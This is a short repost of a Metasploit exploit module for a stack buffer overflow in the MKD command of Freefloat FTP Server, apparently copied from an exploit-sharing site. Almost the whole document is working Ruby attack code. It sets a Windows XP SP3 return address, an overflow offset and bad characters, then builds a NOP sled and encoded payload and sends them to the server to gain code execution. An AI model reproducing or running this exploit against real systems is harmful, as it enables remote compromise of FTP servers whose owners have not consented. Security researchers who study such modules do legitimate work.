[0day]Freefloat FTP Server MKD Buffer Overflow (MSF)

[LLegoLLaS]

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Freefloat FTP Server MKD Command Stack Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability
found in the MKD command in the Freefloat FTP server.
},
'Author' => [
'C4SS!0 G0M3S', # Initial Discovery
'James Fitts' # Metasploit Module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3',
{
'Ret' => 0x7cb97475, # jmp esp from shell32.dll
'Offset' => 247
}
],
],
'DisclosureDate' => 'Jul 17 2011',
'DefaultTarget' => 0))
end

def exploit
connect_login

print_status("Trying target #{target.name}...")

buf = make_nops(target['Offset']) + [target.ret].pack('V')
buf << make_nops(20)
buf << payload.encoded

send_cmd( ['MKD', buf] , false )

handler
disconnect
end

end

sursa: bugsearch.net